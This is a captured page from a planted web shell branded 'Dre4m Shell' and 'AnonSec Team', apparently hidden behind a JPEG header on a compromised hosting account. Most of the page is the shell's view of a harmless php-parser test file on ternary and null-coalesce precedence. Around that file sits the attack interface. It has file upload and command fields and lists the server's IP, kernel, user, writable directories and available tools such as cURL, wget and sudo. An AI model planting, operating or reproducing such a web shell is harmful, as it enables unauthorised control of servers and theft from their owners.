ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.145.154.10
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/code/parser/expr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/nicnAdmin/vendor/nikic/php-parser/test/code/parser/expr//ternaryAndCoalesce.test
Ternary operator
-----
<?php

// ternary
$a ? $b : $c;
$a ?: $c;

// precedence
$a ? $b : $c ? $d : $e;
$a ? $b : ($c ? $d : $e);

// null coalesce
$a ?? $b;
$a ?? $b ?? $c;
$a ?? $b ? $c : $d;
$a && $b ?? $c;
-----
array(
    0: Expr_Ternary(
        cond: Expr_Variable(
            name: a
            comments: array(
                0: // ternary
            )
        )
        if: Expr_Variable(
            name: b
        )
        else: Expr_Variable(
            name: c
        )
        comments: array(
            0: // ternary
        )
    )
    1: Expr_Ternary(
        cond: Expr_Variable(
            name: a
        )
        if: null
        else: Expr_Variable(
            name: c
        )
    )
    2: Expr_Ternary(
        cond: Expr_Ternary(
            cond: Expr_Variable(
                name: a
                comments: array(
                    0: // precedence
                )
            )
            if: Expr_Variable(
                name: b
            )
            else: Expr_Variable(
                name: c
            )
            comments: array(
                0: // precedence
            )
        )
        if: Expr_Variable(
            name: d
        )
        else: Expr_Variable(
            name: e
        )
        comments: array(
            0: // precedence
        )
    )
    3: Expr_Ternary(
        cond: Expr_Variable(
            name: a
        )
        if: Expr_Variable(
            name: b
        )
        else: Expr_Ternary(
            cond: Expr_Variable(
                name: c
            )
            if: Expr_Variable(
                name: d
            )
            else: Expr_Variable(
                name: e
            )
        )
    )
    4: Expr_BinaryOp_Coalesce(
        left: Expr_Variable(
            name: a
            comments: array(
                0: // null coalesce
            )
        )
        right: Expr_Variable(
            name: b
        )
        comments: array(
            0: // null coalesce
        )
    )
    5: Expr_BinaryOp_Coalesce(
        left: Expr_Variable(
            name: a
        )
        right: Expr_BinaryOp_Coalesce(
            left: Expr_Variable(
                name: b
            )
            right: Expr_Variable(
                name: c
            )
        )
    )
    6: Expr_Ternary(
        cond: Expr_BinaryOp_Coalesce(
            left: Expr_Variable(
                name: a
            )
            right: Expr_Variable(
                name: b
            )
        )
        if: Expr_Variable(
            name: c
        )
        else: Expr_Variable(
            name: d
        )
    )
    7: Expr_BinaryOp_Coalesce(
        left: Expr_BinaryOp_BooleanAnd(
            left: Expr_Variable(
                name: a
            )
            right: Expr_Variable(
                name: b
            )
        )
        right: Expr_Variable(
            name: c
        )
    )
)

Anon7 - 2022
AnonSec Team